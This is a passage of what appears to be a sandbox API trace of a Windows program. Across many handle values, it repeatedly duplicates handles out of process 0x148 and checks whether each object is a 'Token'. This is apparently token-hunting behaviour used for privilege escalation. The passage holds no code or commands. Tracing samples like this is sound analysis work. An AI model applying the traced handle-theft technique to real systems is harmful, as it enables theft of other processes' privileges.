CaseInsensitive=1) returned 0 [0196.810] LocalFree (hMem=0x160a40) returned 0x0 [0196.810] CloseHandle (hObject=0x16c) returned 1 [0196.810] CloseHandle (hObject=0x168) returned 1 [0196.810] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.810] GetCurrentProcess () returned 0xffffffffffffffff [0196.810] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1d4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.810] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.810] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.810] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.811] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.811] LocalFree (hMem=0x160a40) returned 0x0 [0196.811] CloseHandle (hObject=0x16c) returned 1 [0196.811] CloseHandle (hObject=0x168) returned 1 [0196.811] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.811] GetCurrentProcess () returned 0xffffffffffffffff [0196.811] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1d8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.811] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.811] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.811] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.811] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.811] LocalFree (hMem=0x160a40) returned 0x0 [0196.811] CloseHandle (hObject=0x16c) returned 1 [0196.811] CloseHandle (hObject=0x168) returned 1 [0196.811] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.811] GetCurrentProcess () returned 0xffffffffffffffff [0196.811] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1dc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.811] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.811] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.811] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.811] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.811] LocalFree (hMem=0x160a40) returned 0x0 [0196.811] CloseHandle (hObject=0x16c) returned 1 [0196.811] CloseHandle (hObject=0x168) returned 1 [0196.812] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.812] GetCurrentProcess () returned 0xffffffffffffffff [0196.812] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1e0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.812] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.812] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.812] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.812] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.812] LocalFree (hMem=0x160a40) returned 0x0 [0196.812] CloseHandle (hObject=0x16c) returned 1 [0196.812] CloseHandle (hObject=0x168) returned 1 [0196.812] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.812] GetCurrentProcess () returned 0xffffffffffffffff [0196.812] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1e4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.812] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.812] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.812] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.812] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.812] LocalFree (hMem=0x160a40) returned 0x0 [0196.812] CloseHandle (hObject=0x16c) returned 1 [0196.812] CloseHandle (hObject=0x168) returned 1 [0196.812] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.812] GetCurrentProcess () returned 0xffffffffffffffff [0196.812] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1e8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.812] CloseHandle (hObject=0x168) returned 1 [0196.813] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.813] GetCurrentProcess () returned 0xffffffffffffffff [0196.813] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1ec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.813] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.813] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.813] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.813] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.813] LocalFree (hMem=0x160a40) returned 0x0 [0196.813] CloseHandle (hObject=0x16c) returned 1 [0196.813] CloseHandle (hObject=0x168) returned 1 [0196.813] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.813] GetCurrentProcess () returned 0xffffffffffffffff [0196.813] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1f0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.813] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.813] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.813] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.813] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.813] LocalFree (hMem=0x160a40) returned 0x0 [0196.813] CloseHandle (hObject=0x16c) returned 1 [0196.813] CloseHandle (hObject=0x168) returned 1 [0196.813] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.813] GetCurrentProcess () returned 0xffffffffffffffff [0196.813] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.813] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.814] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.814] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.814] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.814] LocalFree (hMem=0x181a40) returned 0x0 [0196.814] CloseHandle (hObject=0x16c) returned 1 [0196.814] CloseHandle (hObject=0x168) returned 1 [0196.814] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.814] GetCurrentProcess () returned 0xffffffffffffffff [0196.814] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1f8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.814] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.814] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.814] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.814] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.814] LocalFree (hMem=0x181a40) returned 0x0 [0196.814] CloseHandle (hObject=0x16c) returned 1 [0196.814] CloseHandle (hObject=0x168) returned 1 [0196.814] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.814] GetCurrentProcess () returned 0xffffffffffffffff [0196.814] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1fc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.814] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.814] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.814] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.814] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.814] LocalFree (hMem=0x160a40) returned 0x0 [0196.814] CloseHandle (hObject=0x16c) returned 1 [0196.815] CloseHandle (hObject=0x168) returned 1 [0196.815] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.815] GetCurrentProcess () returned 0xffffffffffffffff [0196.815] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x200, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.815] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.815] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.815] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.815] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.815] LocalFree (hMem=0x160a40) returned 0x0 [0196.815] CloseHandle (hObject=0x16c) returned 1 [0196.815] CloseHandle (hObject=0x168) returned 1 [0196.815] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.815] GetCurrentProcess () returned 0xffffffffffffffff [0196.815] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x204, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.815] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.815] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.815] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.815] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.815] LocalFree (hMem=0x160a40) returned 0x0 [0196.815] CloseHandle (hObject=0x16c) returned 1 [0196.815] CloseHandle (hObject=0x168) returned 1 [0196.815] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.815] GetCurrentProcess () returned 0xffffffffffffffff [0196.815] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x208, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.816] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.816] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.816] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.816] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.816] LocalFree (hMem=0x181a40) returned 0x0 [0196.816] CloseHandle (hObject=0x16c) returned 1 [0196.816] CloseHandle (hObject=0x168) returned 1 [0196.816] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.816] GetCurrentProcess () returned 0xffffffffffffffff [0196.816] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x20c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.816] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.816] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.816] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.816] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.816] LocalFree (hMem=0x160a40) returned 0x0 [0196.816] CloseHandle (hObject=0x16c) returned 1 [0196.816] CloseHandle (hObject=0x168) returned 1 [0196.816] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.816] GetCurrentProcess () returned 0xffffffffffffffff [0196.816] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x210, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.816] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.816] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.816] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.816] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.817] LocalFree (hMem=0x160a40) returned 0x0 [0196.817] CloseHandle (hObject=0x16c) returned 1 [0196.817] CloseHandle (hObject=0x168) returned 1 [0196.817] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.817] GetCurrentProcess () returned 0xffffffffffffffff [0196.817] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x214, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.817] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.817] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.817] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.817] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.817] LocalFree (hMem=0x160a40) returned 0x0 [0196.817] CloseHandle (hObject=0x16c) returned 1 [0196.817] CloseHandle (hObject=0x168) returned 1 [0196.817] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.817] GetCurrentProcess () returned 0xffffffffffffffff [0196.817] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x218, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.817] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.817] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.817] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.817] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.817] LocalFree (hMem=0x160a40) returned 0x0 [0196.817] CloseHandle (hObject=0x16c) returned 1 [0196.817] CloseHandle (hObject=0x168) returned 1 [0196.817] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.817] GetCurrentProcess () returned 0xffffffffffffffff [0196.818] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x21c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.818] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.818] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.818] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.818] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.818] LocalFree (hMem=0x160a40) returned 0x0 [0196.818] CloseHandle (hObject=0x16c) returned 1 [0196.818] CloseHandle (hObject=0x168) returned 1 [0196.818] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.818] GetCurrentProcess () returned 0xffffffffffffffff [0196.818] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x220, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.818] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.818] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.819] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.819] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.819] LocalFree (hMem=0x160a40) returned 0x0 [0196.819] CloseHandle (hObject=0x16c) returned 1 [0196.819] CloseHandle (hObject=0x168) returned 1 [0196.819] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.819] GetCurrentProcess () returned 0xffffffffffffffff [0196.819] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x224, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.819] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.819] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.819] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.820] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.820] LocalFree (hMem=0x160a40) returned 0x0 [0196.820] CloseHandle (hObject=0x16c) returned 1 [0196.820] CloseHandle (hObject=0x168) returned 1 [0196.820] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.820] GetCurrentProcess () returned 0xffffffffffffffff [0196.820] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x228, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.820] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.820] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.820] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.820] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.820] LocalFree (hMem=0x160a40) returned 0x0 [0196.820] CloseHandle (hObject=0x16c) returned 1 [0196.820] CloseHandle (hObject=0x168) returned 1 [0196.820] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.820] GetCurrentProcess () returned 0xffffffffffffffff [0196.820] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x22c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.820] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.820] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.820] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.820] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.820] LocalFree (hMem=0x160a40) returned 0x0 [0196.820] CloseHandle (hObject=0x16c) returned 1 [0196.820] CloseHandle (hObject=0x168) returned 1 [0196.821] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.821] GetCurrentProcess () returned 0xffffffffffffffff [0196.821] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x230, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.821] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.821] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.821] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.821] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.821] LocalFree (hMem=0x160a40) 